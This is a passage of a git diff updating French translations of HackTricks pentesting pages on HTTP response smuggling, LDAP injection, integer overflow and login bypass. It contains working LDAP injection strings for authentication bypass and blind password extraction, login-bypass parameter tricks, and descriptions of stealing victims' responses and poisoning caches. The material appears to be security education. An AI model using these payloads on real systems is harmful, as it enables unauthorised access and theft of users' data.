envoyé une requête** et que la **requête smugglée est répondue avant** la requête légitime, la **réponse smugglée sera envoyée à la victime**. Par conséquent, l'attaquant va **contrôler la requête "effectuée" par la victime**. -De plus, si l'**attaquant effectue ensuite une requête** et que la **réponse légitime** à la **requête de la victime est répondue avant** la requête de l'attaquant, la **réponse à la victime sera envoyée à l'attaquant**, **volant** la réponse à la victime (qui peut contenir par exemple l'en-tête **Set-Cookie**). +De plus, si l'**attaquant effectue ensuite une requête** et que la **réponse légitime** à la **requête de la victime est répondue avant** la requête de l'attaquant. La **réponse à la victime sera envoyée à l'attaquant**, **volant** la réponse à la victime (qui peut contenir par exemple l'en-tête **Set-Cookie**). ![](<../.gitbook/assets/image (658) (1).png>) @@ -44,23 +44,23 @@ De plus, si l'**attaquant effectue ensuite une requête** et que la **réponse l ### Multiples Injections Emboîtées -Une autre **différence intéressante** avec le Smuggling de Requêtes HTTP classique est que, dans une attaque de smuggling classique, le **but** est de **modifier le début de la requête de la victime** pour qu'elle effectue une action inattendue. Dans une attaque de **Smuggling de Réponses HTTP**, comme vous **envoyez des requêtes complètes**, vous pouvez **injecter dans une charge utile des dizaines de réponses** qui vont **désynchroniser des dizaines d'utilisateurs** qui vont **recevoir** les **réponses injectées**. +Une autre **différence intéressante** avec le **Smuggling de Requêtes HTTP** classique est que, dans une attaque de Smuggling classique, le **but** est de **modifier le début de la requête de la victime** pour qu'elle effectue une action inattendue. Dans une **attaque de Smuggling de Réponses HTTP**, comme vous **envoyez des requêtes complètes**, vous pouvez **injecter dans une charge utile des dizaines de réponses** qui vont **désynchroniser des dizaines d'utilisateurs** qui vont **recevoir** les **réponses** **injectées**. En plus de pouvoir **distribuer plus facilement des dizaines d'exploits** parmi les utilisateurs légitimes, cela pourrait également être utilisé pour provoquer un **Déni de Service (DoS)** sur le serveur. -### Organisation de l'Exploit +### Organisation de l'Exploitation -Comme expliqué précédemment, pour exploiter cette technique, il est nécessaire que le **premier message smugglé** dans le serveur **prenne beaucoup de temps à être traité**. +Comme expliqué précédemment, pour exploiter cette technique, il est nécessaire que le **premier message smugglé** dans le serveur **nécessite beaucoup de temps pour être traité**. -Cette **requête chronophage est suffisante** si vous voulez simplement **essayer de voler la réponse de la victime**. Mais si vous voulez effectuer un exploit plus complexe, voici une structure commune pour l'exploit. +Cette **requête chronophage est suffisante** si vous voulez simplement **essayer de voler la réponse des victimes**. Mais si vous voulez effectuer un exploit plus complexe, voici une structure commune pour l'exploit. Tout d'abord, la **requête initiale exploitant le Smuggling de Requêtes HTTP**, puis la **requête chronophage** et ensuite **1 ou plusieurs requêtes de charge utile** dont les réponses seront envoyées aux victimes. -## Abus de la Désynchronisation de la File des Réponses HTTP +## Abus de la Désynchronisation de la File d'Attente des Réponses HTTP ### Capture des requêtes d'autres utilisateurs -Comme pour les charges utiles connues de Smuggling de Requêtes HTTP, vous pouvez **voler la requête de la victime** avec une différence importante : dans ce cas, vous avez juste besoin que le **contenu envoyé soit reflété dans la réponse**, **aucun stockage persistant** n'est nécessaire. +Comme pour les charges utiles connues du Smuggling de Requêtes HTTP, vous pouvez **voler la requête des victimes** avec une différence importante : dans ce cas, vous avez juste besoin que le **contenu envoyé soit reflété dans la réponse**, **aucun stockage persistant** n'est nécessaire. Tout d'abord, l'attaquant envoie une charge utile contenant une **dernière requête POST avec le paramètre reflété** à la fin et une longue Content-Length @@ -74,13 +74,13 @@ Ensuite, la **victime** va **recevoir** la **réponse à la requête chronophage ## Désynchronisation des Réponses -Jusqu'à présent, nous avons appris comment exploiter les attaques de Smuggling de Requêtes HTTP pour **contrôler** la **requête dont** la **réponse** qu'un **client va recevoir** et comment vous pouvez ensuite **voler la réponse qui était destinée à la victime**. +Jusqu'à présent, nous avons appris comment exploiter les attaques de Smuggling de Requêtes HTTP pour **contrôler** la **requête dont** la **réponse** qu'un **client** va **recevoir** et comment vous pouvez ensuite **voler la réponse qui était destinée à la victime**. Mais il est toujours possible de **désynchroniser encore plus** les réponses. Il existe des requêtes intéressantes comme la requête **HEAD** qui sont spécifiées pour ne pas avoir **de contenu dans le corps des réponses** et qui devraient (doivent) **contenir la Content-Length** de la requête comme **si c'était une requête GET**. -Par conséquent, si un attaquant **injecte** une **requête HEAD**, comme dans ces images : +Par conséquent, si un attaquant **injecte** une requête **HEAD**, comme dans ces images : ![](<../.gitbook/assets/image (626).png>) @@ -88,13 +88,13 @@ Ensuite, **une fois que la requête bleue est répondue à l'attaquant**, la pro ![](<../.gitbook/assets/image (651) (1) (1) (1) (1) (1) (1).png>) -Ensuite, la **victime** va **recevoir** la **réponse** de la **requête HEAD**, qui **va contenir une Content-Length mais aucun contenu du tout**. Par conséquent, le proxy **ne va pas envoyer cette réponse** à la victime, mais va **attendre** un **contenu**, qui sera en fait la **réponse à la requête jaune** (également injectée par l'attaquant) : +Ensuite, la **victime** va **recevoir** la **réponse** de la **requête HEAD**, qui va **contenir une Content-Length mais aucun contenu du tout**. Par conséquent, le proxy **ne va pas envoyer cette réponse** à la victime, mais va **attendre** un **contenu**, qui sera en fait la **réponse à la requête jaune** (également injectée par l'attaquant) : ![](<../.gitbook/assets/image (627) (1).png>) ### Confusion de Contenu -En suivant l'exemple précédent, sachant que vous pouvez **contrôler le corps** de la requête dont la réponse va être reçue par la victime et qu'une **réponse HEAD** contient généralement dans ses en-têtes le **Content-Type et la Content-Length**, vous pouvez **envoyer une requête comme celle-ci** pour **causer une XSS** chez la victime sans que la page soit vulnérable à la XSS : +En suivant l'exemple précédent, sachant que vous pouvez **contrôler le corps** de la requête dont la réponse va être reçue par la victime et qu'une **réponse HEAD** **contient généralement dans ses en-têtes le Content-Type et la Content-Length**, vous pouvez **envoyer une requête comme celle-ci** pour **causer une XSS** chez la victime sans que la page soit vulnérable à la XSS : ![](<../.gitbook/assets/image (654) (1) (1) (1) (1).png>) @@ -116,13 +116,13 @@ Notez que dans ce cas, si le **"victim" est l'attaquant**, il peut maintenant ef ### Tromperie de Cache Web -Cette attaque est similaire à la précédente, mais **au lieu d'injecter une charge utile dans le cache, l'attaquant va mettre en cache les informations de la victime à l'intérieur du cache :** +Cette attaque est similaire à la précédente, mais **au lieu d'injecter une charge utile dans le cache, l'attaquant va mettre en cache des informations de la victime à l'intérieur du cache :** ![](<../.gitbook/assets/image (643) (1) (1).png>) ### Fractionnement de Réponse -Le **but** de cette attaque est d'exploiter à nouveau la **désynchronisation de la réponse** pour **faire en sorte que le proxy envoie une réponse 100% générée par l'attaquant**. +Le **but** de cette attaque est d'exploiter à nouveau la **désynchronisation de la réponse** afin de **faire envoyer au proxy une réponse 100% générée par l'attaquant**. Pour y parvenir, l'attaquant doit trouver un point de terminaison de l'application web qui **reflète certaines valeurs dans la réponse** et **connaître la longueur du contenu de la réponse HEAD**. @@ -138,21 +138,6 @@ La victime recevra en réponse le **HEAD response + le contenu de la réponse de ![](<../.gitbook/assets/image (633) (1).png>) -Cependant, notez comment les **données reflétées avaient une taille conforme à la Content-Length** de la **réponse HEAD qui a généré une réponse HTTP valide dans la file de réponses**. +Cependant, notez comment les **données reflétées avaient une taille conforme à la Content-Length** de la **réponse HEAD qui a généré une réponse HTTP valide dans la file de réponse**. Par conséquent, la **prochaine requête du deuxième victime** va **recevoir** en **réponse quelque chose entièrement fabriqué par l'attaquant**. Comme la réponse est entièrement fabriquée par l'attaquant, il peut également **faire en sorte que le proxy mette en cache la réponse**. - - -
- -Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! - -Autres façons de soutenir HackTricks : - -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. - -
diff --git a/pentesting-web/idor.md b/pentesting-web/idor.md index 4f20abcf6..8a19eec54 100644 --- a/pentesting-web/idor.md +++ b/pentesting-web/idor.md @@ -7,7 +7,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -23,7 +23,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. diff --git a/pentesting-web/integer-overflow.md b/pentesting-web/integer-overflow.md index ed6c41c5f..c7cf8c2a0 100644 --- a/pentesting-web/integer-overflow.md +++ b/pentesting-web/integer-overflow.md @@ -2,13 +2,13 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@@ -29,28 +29,9 @@ println!("{}", add_result); {% endtab %} {% tab title="C" %} +### Débordement d'entier -## Débordement d'entier - -Lorsqu'un entier dépasse sa valeur maximale, il peut entraîner un débordement d'entier. Cela peut être exploité pour exécuter des attaques, telles que l'exécution de code arbitraire ou la modification de variables critiques. Il est essentiel de vérifier et de gérer correctement les débordements d'entiers dans le code pour éviter les vulnérabilités potentielles. - -### Exemple de débordement d'entier en C - -```c -#include - -int main() { - int a = 2147483647; // Valeur maximale d'un int - a = a + 1; - - printf("La valeur de a est : %d\n", a); - - return 0; -} -``` - -Dans cet exemple, en ajoutant 1 à la valeur maximale d'un entier, cela provoque un débordement d'entier, ce qui peut entraîner un comportement imprévisible du programme. - +Lorsqu'un entier dépasse sa valeur maximale autorisée, il peut entraîner un débordement d'entier. Cela peut entraîner des comportements inattendus, tels que des valeurs négatives inattendues ou des valeurs très grandes qui ne sont pas correctement gérées par le programme. Les débordements d'entiers peuvent être exploités par des attaquants pour modifier le comportement attendu du programme et potentiellement exécuter du code malveillant. {% endtab %} ```c #include @@ -70,17 +51,14 @@ printf("%d\n", c); return 0; } ``` -{% endtab %} -{% endtabs %} -
-☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/pentesting-web/ldap-injection.md b/pentesting-web/ldap-injection.md index 5599291df..d7ce54c97 100644 --- a/pentesting-web/ldap-injection.md +++ b/pentesting-web/ldap-injection.md @@ -4,20 +4,20 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
\ -**Astuce de prime de bug** : **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des pirates informatiques, pour les pirates informatiques ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** ! +**Astuce de prime de bug** : **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des pirates informatiques, pour des pirates informatiques ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** ! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -31,7 +31,7 @@ Autres façons de soutenir HackTricks : [pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md) {% endcontent-ref %} -**L'injection LDAP** est une attaque ciblant les applications web qui construisent des déclarations LDAP à partir de l'entrée de l'utilisateur. Cela se produit lorsque l'application **ne parvient pas à nettoyer correctement** l'entrée, permettant aux attaquants de **manipuler les déclarations LDAP** via un proxy local, ce qui peut potentiellement conduire à un accès non autorisé ou à une manipulation de données. +**L'injection LDAP** est une attaque ciblant les applications web qui construisent des déclarations LDAP à partir de l'entrée de l'utilisateur. Cela se produit lorsque l'application **ne parvient pas à nettoyer correctement** l'entrée, permettant aux attaquants de **manipuler les déclarations LDAP** via un proxy local, ce qui peut entraîner un accès non autorisé ou une manipulation de données. {% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %} @@ -57,8 +57,8 @@ Par exemple :\ Vous pouvez accéder à la base de données, qui peut contenir des informations de différents types. -**OpenLDAP** : Si 2 filtres arrivent, n'exécute que le premier.\ -**ADAM ou Microsoft LDS** : Avec 2 filtres, ils renvoient une erreur.\ +**OpenLDAP** : Si 2 filtres arrivent, seul le premier est exécuté.\ +**ADAM ou Microsoft LDS** : Avec 2 filtres, une erreur est renvoyée.\ **SunOne Directory Server 5.0** : Exécute les deux filtres. **Il est très important d'envoyer le filtre avec une syntaxe correcte, sinon une erreur sera renvoyée. Il est préférable d'envoyer un seul filtre.** @@ -69,11 +69,11 @@ Exemple : `(&(directory=val1)(folder=public))` `(&(objectClass=VALUE1)(type=Epson*))`\ `VALUE1 = *)(ObjectClass=*))(&(objectClass=void` -Ensuite : `(&(objectClass=`**`*)(ObjectClass=*))`** sera le premier filtre (celui exécuté). +Ensuite : `(&(objectClass=`**`*)(ObjectClass=*))`** sera le premier filtre (celui qui est exécuté). ### Contournement de connexion -LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Ainsi, il se pourrait qu'indépendamment de ce que vous insérez dans le mot de passe, il soit haché. +LDAP prend en charge plusieurs formats pour stocker le mot de passe : clair, md5, smd5, sh1, sha, crypt. Ainsi, il se peut qu'indépendamment de ce que vous insérez dans le mot de passe, il soit haché. ```bash user=* password=* @@ -148,9 +148,9 @@ Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*)) Payload: void)(objectClass=void))(&objectClass=void Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*)) ``` -#### Extraire des données +#### Dump de données -Vous pouvez itérer sur les lettres ASCII, les chiffres et les symboles : +Vous pouvez itérer sur les lettres ascii, les chiffres et les symboles : ```bash (&(sn=administrator)(password=*)) : OK (&(sn=administrator)(password=A*)) : KO @@ -223,20 +223,20 @@ intitle:"phpLDAPadmin" inurl:cmd.php {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %} \ -**Conseil de prime de bug**: **inscrivez-vous** sur **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour des hackers! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**! +**Conseil de prime de bug**: **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour des hackers! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**! {% embed url="https://go.intigriti.com/hacktricks" %}
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github. +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/pentesting-web/login-bypass/README.md b/pentesting-web/login-bypass/README.md index 95cfab704..f5671039e 100644 --- a/pentesting-web/login-bypass/README.md +++ b/pentesting-web/login-bypass/README.md @@ -2,13 +2,13 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@@ -25,7 +25,7 @@ Si vous trouvez une page de connexion, voici quelques techniques à essayer pour * Vérifiez les **commentaires** à l'intérieur de la page (faites défiler vers le bas et vers la droite ?) * Vérifiez si vous pouvez **accéder directement aux pages restreintes** * Vérifiez de **ne pas envoyer les paramètres** (ne pas envoyer tous ou seulement 1) -* Vérifiez l'erreur de comparaison **PHP :** `user[]=a&pwd=b`, `user=a&pwd[]=b`, `user[]=a&pwd[]=b` +* Vérifiez l'erreur de comparaison **PHP :** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b` * **Changez le type de contenu en json** et envoyez des valeurs json (bool true inclus) * Si vous obtenez une réponse indiquant que POST n'est pas pris en charge, vous pouvez essayer d'envoyer le **JSON dans le corps mais avec une requête GET** avec `Content-Type: application/json` * Vérifiez l'erreur potentielle de parsing de nodejs (lisez [**ceci**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)) : `password[password]=1` @@ -51,9 +51,9 @@ Sur la page suivante, vous trouverez une **liste personnalisée pour essayer de ### Contournement de l'authentification sans injection SQL -[Ici, vous pouvez trouver plusieurs astuces pour contourner la connexion via les **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.** +[Ici, vous pouvez trouver plusieurs astuces pour contourner la connexion via les **injections No SQL**](../nosql-injection.md#basic-authentication-bypass)**.** -Comme les injections NoSQL nécessitent de changer la valeur des paramètres, vous devrez les tester manuellement. +Comme les injections NoSQL nécessitent de modifier la valeur des paramètres, vous devrez les tester manuellement. ### Contournement de l'authentification par injection XPath @@ -95,27 +95,29 @@ Si la page a une fonctionnalité "**Se souvenir de moi**", vérifiez comment ell ### Redirections -Les pages redirigent généralement les utilisateurs après la connexion, vérifiez si vous pouvez modifier cette redirection pour provoquer une [**Redirection Ouverte**](../open-redirect.md). Peut-être pouvez-vous voler des informations (codes, cookies...) si vous redirigez l'utilisateur vers votre site web. +Les pages redirigent généralement les utilisateurs après la connexion, vérifiez si vous pouvez modifier cette redirection pour causer une [**Redirection Ouverte**](../open-redirect.md). Peut-être pouvez-vous voler des informations (codes, cookies...) si vous redirigez l'utilisateur vers votre site web. ## Autres vérifications * Vérifiez si vous pouvez **énumérer les noms d'utilisateur** en abusant de la fonctionnalité de connexion. * Vérifiez si l'**auto-complétion** est active dans les formulaires de mot de passe/**informations sensibles** **input:** `
-​​[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. +​​[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus pertinent en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. {% embed url="https://www.rootedcon.com/" %}
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
